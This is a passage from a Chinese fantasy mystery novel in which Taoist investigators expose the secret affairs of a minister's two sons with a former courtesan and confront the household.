沈璧才不愿听裴霁讲什么花楼大戏,原已转身要走,耳朵忽地捕捉到私定终身几个字,立刻又不动声色地转回了身。 裴霁将她的动作尽收眼底,勾了勾嘴角,接着道:“那恩客几乎每隔三日便会来看一次花魁。那时花魁还未成名,在楼中也不受假母待见,可他次次豪掷百金,只为听花魁抚上一曲,渐渐地便成了她最坚实的靠山,楼中也再无人敢轻慢她。想来这客人对花魁也是情根深种,卷帘深处,四目相对,浓情蜜意之时,也写了不少深情之辞。” 说到这,裴霁叹息一声:“谁料,那花魁忽地因为一曲《凉州》名声大噪,一下,身价便水涨船高。她并未忘记前人,奈何身不由己,只能任假母摆布。好容易再次等来那恩客,她苦苦哀求他为她赎身,那恩客却有了退缩之意。” “彼时她已因四处弹奏而攒了些金银,但离为自己赎身还有一些距离。她原以为恩客会毫不犹豫地与她双宿双飞,不曾想,那恩客却似听到了鬼故事一般,连连摇头。” 一行奇怪极了:“我听师父说,当朝文人多纳妾,尤其爱在娶妻前纳妾,专空着正妻之位等着成名后再娶,不管是否已娶妻,应当都不耽误纳妾才对,更何况,那恩客不是与花魁情深意重么?” 沈璧轻嗤一声:“的确是不耽误,可他这样家世显赫的男子,迎娶的也必定是门当户对的名门贵女,对方家族不会同意他保留任何小妾,待成亲前,他必定要将小妾全部遣散。” 一行天真问:“可即便是这样,那花魁在他成亲后离开他,至少还能获得自由,不也是好事吗?” 裴霁笑了笑:“谁又知道他是如何想的呢?或许是怕到时节外生枝,又或许从前的海誓山盟都是假象,总之,衡量再三后,他再没来过楼中。那花魁只得断了念想,日日以泪洗面。” “没过多久,那花魁便遇到了第二位极其看重她的恩客,若说第一位恩客只是出手大方,那这第二位恩客便是阔绰至极了。为了听花魁抚一曲《凉州》,他不惜赠予万金,在见了那花魁一面后,他更是魂牵梦萦,日日夜夜无法忘怀,于是,在与花魁第五次见面后,他便直接说想要替她赎身,还答应赠她金银无数,只求她能日日与他相伴。” “可这回,却轮到那花魁容色骤变了。” “自第二名恩客出现后,花魁心中便一直转着一个猜测,却不敢确认——直到第二名恩客与她坦白了自己的身份。” “那恩客原以为户部尚书长子这个身份会让花魁更加倾心于他,可谁料,他说出这一切后,那花魁脸色却唰地一下变得惨白无比。她无论如何也无法告诉他,他长得与她过去魂牵梦萦的那人有多么相像。于是她给不出任何拒绝的理由,第二位恩客便因此一直执着不休,那段时间,花魁可谓日日煎熬,甚至到了自残的地步,这才叫那恩客收敛一些。” 几人听到这,心情早已随着花魁经历而起伏。花魁是谁,那两位恩客又是谁,大家都已心知肚明,在场之人无不心有戚戚。怪不得兰馨一句都不肯说,此事实在太过惊人,无论何庭章信或不信,说出来后她都难逃一死。 更让人唏嘘的是,兜兜转转,兰馨竟还是入了尚书府,她千方百计想躲开这两人,命运却如此捉弄她,叫她连躲也不得,以这样的身份重新出现在二人面前。 “真是一家子好色鬼。”沈璧心中扼腕至极,只道命运实在弄人,兰馨周旋于三人之间,该是如何的煎熬? 一停若有所思:“所以,打晕她的神秘人应当是两位公子中其中一个伪装而成的?因为怕私情暴露,所以想杀了兰馨腹中之子?” 沈璧沉思半晌,道:“我看不像。” “兰馨爱子如命,即便孩子已成作怪的婴灵,她仍毫不犹豫地护在它身前。若说是谁最想让婴灵早日转世,除了她恐怕没有第二人。即便她从前与那二人有什么情分,可若伤及孩子,再多的情分也该变成仇恨了吧?因此,若她真对打晕自己的人有什么了解,昨夜一定会说与我听。可昨夜她半句未提二位公子之事,可见她有十足的把握,那二位公子都不是那神秘人。” 一行叹息一声:“所以她还是抱着侥幸心理,横竖那二位公子与神秘人无关,说不准我们只会查出神秘人是谁,却查不出在那之前二位公子进过她的院子。” 沈璧好奇看向裴霁:“你为何会觉得是二公子先进了兰馨的院子?” 她能知道,是因为尚书府花园中的蔷薇亲眼所见,可裴霁只是调查了前尘往事,又是如何知道的? “随便猜猜呗,”裴霁懒散一笑,“想也知道,这兄弟俩不会结伴去看兰馨。他们估计都以为自己是兰馨唯一的旧日情人,于是一边心痛兰馨与自己再无可能,一边又忍不住色胆包天,不但趁着何庭章外出巡查与兰馨珠胎暗结,到后面还趁着何庭章入宫私进兰馨的院子。干下这些乱了伦理的事,想必他们也是怕得要命,你想,若是此时被他人看见,抓了把柄,他们会怎么做?” “你的意思是,先进兰馨院子的那人在他身后发现了后进兰馨院子的那人,因此怀疑自己露了行踪,于是对后面那人下了毒手?” 沈璧不是没想过这个可能,可到底还没亲眼见过何澜清的情况,她无法断定便是何澜松所为。 “找那二人对峙一番不就真相大白了?”裴霁抖抖袖子,拿出一张被揉皱了的纸,率先往王之薇的院子走去,“走吧?先去找那最老的好色鬼。” —— 宋管事一早便派了人去蘅芜院嘱咐,尚书昨夜歇在了夫人院中,若各位道长有事,可去夫人院中寻他。 沈璧瞧着天色渐亮,猜想何庭章应当正在用朝食。果不其然,还未走到王之薇的揽岳居,便闻到了银丝汤饼的香气。 宋管事站在门口,正指挥着侍女依次端进乳酿鱼和小天酥,远远瞧见几人过来,他立刻停了手上的事,面带喜色地上前询问:“道长可是有了进展?” 沈璧微微一笑:“自然,不知此时是否方便见尚书呢?” “方便的,”宋管事一迭声答应,“老爷吩咐了,不拘什么时候,婴灵的事才是头等大事。” 沈璧跟着几名奉菜侍女走入院子,这才发现里面别有洞天。 映入眼帘的青砖影壁上,刻的并非长安贵妇一贯喜爱的缠枝花鸟,而是几棵蓬勃向上的绿竹,瞧着郁郁葱葱,鲜嫩至极。 绕过影壁,沈璧的目光立刻被庭院西侧的一大块空地吸引了过去,她好奇地指了指那铺就细沙的空地,问宋管事:“这是做什么用的?” 宋管事刚要回答,一名侍女便从游廊走出,微笑答道:“这是从前夫人练武的地方。” 她几步停在沈璧身前,对着沈璧一行人行了礼,恭敬道:“我是夫人的陪嫁侍女,夫人和老爷吩咐奴婢来迎接各位。” 沈璧瞧她周身利落,身姿挺拔,走路时几乎没有声音,猜想她或许是习武之人,心里不由有几分惊讶。这院子的气质与王之薇格格不入,倒与王之薇身边的人如出一辙。 那婢子见沈璧感兴趣,一边走,一边又指着院中各处为沈璧讲解:“从前练武场中还插有木人桩子,廊内也有专门的兵器架子,夫人最喜欢弓箭与长枪,一把长枪可舞得虎虎生风,可惜现下,这些早已全都收起来了。” 沈璧瞧她眼中有黯然之色,心里也跟着有些惋惜,昨日见王之薇,她虚弱得都无法自己站起身来,若非听了这婢女的话,当真无法想象王之薇从前竟如此朝气蓬勃。 穿过曲折游廊便是王之薇的主卧,侍女撩开月白纱帘,将沈璧等人引至何庭章与王之薇面前。 见他们进来,何庭章放下手中碗筷,站起身来,脸上肥肉笑得积在一块。 “几位道长可用过饭了?” 沈璧心道自然没有,昨晚那碗枇杷之后,她还未进任何水米呢。 但几次交道下来,她已将何庭章的门路摸了个大概——若真那么关心他们有没有用膳,昨晚和今日一大早便会让宋管事送饭过来,而不是在这用嘴吹西北风。 “用过了。”沈璧笑得一丝不漏。 这一丝不漏的笑容落在裴霁眼中,多少便带了些忍辱负重的心酸。方才一路过来,一行和一停悄声同他禀报过,自己的院子是有送饭来的,虽然他不吃,但何庭章态度已经很明显了——他表现得再让何庭章不爽,只要东明观还在,何庭章都会全了他的面子,可沈璧再如何有功,何庭章都只会因她出身小观而轻慢于她。 沈璧不知裴霁心中所想,只自顾自接着道:“何尚书,还请您暂且屏退下人,接下来的事涉及您家中私隐,不宜外传。” 何庭章笑容凝了凝,挥手示意所有人出去,除去沈璧一行人,独独王之薇还坐在原位,她以手帕捂住口鼻,虚弱地朝沈璧点头笑笑。 何庭章伸出手臂虚虚拢住王之薇,一副疼惜的模样:“内子不是外人,沈道长但说无妨。” 他胖得几乎有两个王之薇那么大,因着白胖,倒显得与王之薇年岁相近了些——本来差二十岁,现在看着只差十岁了。 似是刚吃完饭身上发热,何庭章额头汗珠滚滚而下,有那么几滴就要落至王之薇干净的领口。沈璧不由抽了抽嘴角,加快了语速:“那我便直言了。” 沈璧毫不避讳地将裴霁调查的所有事都抛了出来,还顺带拿出了蔷薇花妖给她的证据——那日何澜松行色匆匆地自花园往兰馨院子而去,许是走得太急,竟被路边斜逸而出的蔷薇花枝绊住了脚步,跌倒在地,落下了随身携带的香囊。 趁何澜松不备,蔷薇花妖趁机将那香囊收入怀中,沈璧昨晚费了好大的力气才与她达成交易,说服她拿出香囊。 不过,她自不会将具体的过程说与何庭章,只道这是她以符咒襄助才搜寻得到。 许是这番直言太直了些,何庭章听完后好长一段时间都没能直得起腰,整个人气得浑身发颤。王之薇在旁轻抚着他的脊背安慰,也不起半丝作用。 “两个孽畜!” 好半天,何庭章才狞着脸吐出一句话。他猛地起身,双手一掀,桌上茶杯立刻随着倾倒的桌子尽数砸到了地上。 杯碗碎裂的哐啷声在耳畔炸开,沈璧一边躲避四处飞溅的瓷块碎片,一边快速上前扶住王之薇——方才何庭章乍然起身,差点将王之薇一齐掀翻在地。 “多谢……多谢道长,”王之薇靠在沈璧手臂上,大口喘了许久的气才缓过神来,看向何庭章,“生气伤身,何郎,或许这两个孩子有什么难言之隐,不若何郎亲自问问他们……” “还有什么好问的!”何庭章头一次在王之薇面前控制不住音量,但下一刻,他立刻反应过来,顶开沈璧上前扶住王之薇,“薇娘,薇娘,我方才也是气极了,你莫要放在心上。” 等何庭章在王之薇面前平复好情绪,沈璧才接着道:“何尚书,夫人说得有理,不若还是直接问问二公子本人吧。” 何庭章这下才算是回过了神,他面上又恢复了那副看不出喜怒的模样,只是眼中充满了疲倦。 他无力再做表面功夫,只冷冷道:“此事是我尚书府私隐,我儿究竟有无做出此事,又是否与落胎之事有牵扯,我自会前去问清,几位道长便留在此处等候消息吧。” 说得像谁稀得听你们这老色鬼小色鬼对话一样——沈璧暗自腹诽,面上仍保持微笑:“那是自然。” 目送着何庭章气势汹汹地离去,沈璧耸耸肩,刚想回自己的院子,忽听身后有道虚弱的声音唤自己。 “沈道长能与我讲讲苍梧道长临去时的样子么?” 王之薇不知何时勉力站了起来,似乎对这件事很感兴趣。 沈璧上前扶住她,讶然问:“夫人也认识家师么?” 王之薇以帕捂嘴,轻咳两声才道:“约莫十年前,苍梧道长曾带着林道长来一同来过尚书府。那会我刚嫁过来,对玄门法术都很感兴趣,便跟着她学了些风水之道。” 说到这,她有些不好意思地笑了笑:“我慧根极差,苍梧道长却不嫌弃,这些年,我一直感恩在心。” 沈璧忙道:“夫人太谦虚了,夫人这般精通武艺,又怎会没有慧根?” “武艺......那都是从前的事了。”似乎是回想起了什么,王之薇的眼中多了些暖意。但那暖意不过昙花一现,随即便化为了一声低低自嘲,“可惜了。” 后面那句话低得几近叹息,沈璧一愣,几乎以为自己听错了。 还未来得及多想,王之薇已然神色如常,接着道: “第一眼见你,我便觉得与你有眼缘,只把你当我妹妹一般。这府中人人都称你为道长,似乎浑忘了你也是个年纪不大的小娘子,此行孤身来长安,只怕沈道长也是十分不易。想来,若非上清观遇到难解困境,你 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一行身体一紧,不敢再推诿,禀报道:“从前三元节东明观设斋,各观弟子聚在一起,我听过这么几句闲话:说上清观约莫二十年前,香火是极旺的,苍梧道长虽深居简行,但遇到大案也是有求必应。可偏偏正是上清观最鼎盛时,苍梧道长办砸了一桩大案,自此便砸了上清观招牌,在那以后,上清观便日渐冷清,苍梧道长也越发闭门不出,只应一些旧日好友的邀约。” 二十年前?别说一行一停了,便是他那时也才刚刚出生。 想来,这些弟子也不过是道听途说,真正知晓那桩大案真相的,只会是与苍梧道长同辈之人。 一行也是这么想,于是好奇发问:“司禳使,素问道长没同您提过这些事吗?” “我师父很闲么?”裴霁叩叩他的脑门,“脑子清出来,想想藏在这尚书府中的另一只妖。” 一行揉揉脑门,讶道:“什么?居然还有一只?” 裴霁眯起双眼,一手轻搭剑鞘,一边透过花窗盯着屋内正在交谈的王之薇和沈璧。 沈璧与他的想法一样,那神秘人偏挑在两位公子齐齐进入兰馨院子的一晚行事,定有什么不可告人的心思,只能将尚书府搅乱,才有可能叫他露出马脚。 但此刻,照影仍安静待在鞘中,并无一丝异动。 —— 王之薇的精神头并不好,每多讲两句便要喘气歇息一番,饶沈璧能言会道,一时也不知该不该主动扯起话题。因此,多是她问,沈璧答。 沈璧发觉,王之薇身体虽弱,头脑却十分清晰。讲话既有条理,又善解人意,说出来的话叫人心内熨贴,忍不住同她再多聊几句。 “沈道长应当还没有婚配吧。” 王之薇忽地问了这么句,多少叫沈璧有些意外。 见沈璧没回答,王之薇不好意思地笑了笑:“我听闻有些道观规戒甚严,不但要求戒了荤腥,还不允许观中弟子婚娶,这才好奇问问。” 沈璧笑答:“夫人应是听岔了吧。戒了荤腥的是有,但要弟子断了情爱的,那是绝对没有的。想来是大家对修行的欲望都大过了婚娶,这才叫世人以为道观有如此严苛的规定。” 王之薇双眼透出些羡慕,叹气道:“若知微也能像你一样长于道观,成为道士,那该多好。” 沈璧有些惊讶:“夫人为何会有这个想法?” 父亲是户部尚书,母亲出身五姓七望,何知微一出生,便已站在了大部分人一生都无法抵达的高度,身为她的母亲,王之薇竟觉得这样不好,的确是让沈璧无法理解。 她见王之薇有些沉默,猜想她应是不想回答,于是主动换了个话题:“说起来,今日怎么没见到何娘子?” “乳娘带她去花园了。”王之薇轻轻叹了口气,“这孩子贪玩,原先何郎请了女学士在家,她都不愿学,实在让人头疼。” 沈璧微讶,何知微那副情状,看起来与人正常交流都困难,谈何读书呢。可听王之薇平静的语气,像是没有意识到这点一般,话里话外将何知微当成一个正常孩童看待。 “沈道长是在想知微的病么?” 王之薇如能洞悉人心,叫沈璧有些悚然。她以为是自己的表情太过明显,冒犯到了对方,刚想道歉,却见王之薇丝毫没有不悦,只是温和道:“知微小时候生过一场大病,自那之后性格确实多了分古怪,总爱在外人面前淘气,听说之前还冒犯了道长,实在是抱歉。” 言下之意,在她面前何知微是很正常的了? 沈璧觉得事情透出些诡异,试探问道:“其实我也能帮忙看看三娘子的情况,说不准能帮上点忙,只是不知夫人是否愿意?” 王之薇面上一喜:“道长都这么说了,我哪有不愿意的道理?沈道长年轻有为,若知微能受你影响,那自然是再好不过的了。” 边说着,她似乎想起了什么,示意沈璧扶起自己。 两人走至沉香镜台边,王之薇指向台上的鎏金花鸟铜盒,示意沈璧查看。 沈璧心带疑惑,在王之薇鼓励的眼神下打开了铜盒,差点没被里面的金光晃晕。 竟是满满一盒金铤,足足有百金之数。 王之薇将盒子往她手中轻轻压了压:“苍梧道长去世时,何郎与我皆是诸事缠身,竟没能亲去吊唁,现在想来,真是万分遗憾。眼下这些,便当是我一点心意吧,也算是报答当年苍梧道长的教导之恩。” 沈璧大张着嘴,一时不知该作何反应。 何庭章原先给的也很多,但和王之薇给的相比,瞬间就不够看了,沈璧一边感慨为何有钱的不是自己,一边肉痛地将铜盒放了回去。 王之薇目露惊讶,似是没想到她会不收,不由轻叹一声:“如沈道长一般心怀大义又施惠无念的人,已是世间少有了。” 沈璧瞧她误会,连忙解释:“不是这样的。” 王之薇执着道:“沈道长还要如此谦虚么?这几日,沈道长的仁心仁德我都瞧在眼里。道长不但为府中大事尽心尽力,还真心关心兰馨——便连我都无法违逆何郎,你却能为她仗义执言,这样的恻隐之心,可不是人人都能有的。” “夫人误会我的意思了,”沈璧生怕自己下一刻就要被夸成分文不取之人,急忙表明自己视金子如性命的态度,“我是真心想收夫人的赠予的。” 说到这里,她嘿嘿一笑:“只不过我不会武,捧着这一盒子出去,怕是刚出城就要被打劫,不若还是夫人先暂存,等我解决完府内大事,到时我再叫师兄带人来拿,我也拿得更踏实些。” 王之薇一愣,好半天才笑了笑:“便按道长说的办吧。” 见王之薇答应,沈璧这才松了口气。她倒不担心王之薇怎么看自己,观中的确碰到了大难处,这种时候,面子哪有金银重要。 她刚想再感谢王之薇几句,窗外忽地传来一阵躁动,纷乱的脚步声伴着哭嚎刺入双耳—— “沈道长,出人命了……出人命了,救命啊,快去救命啊!”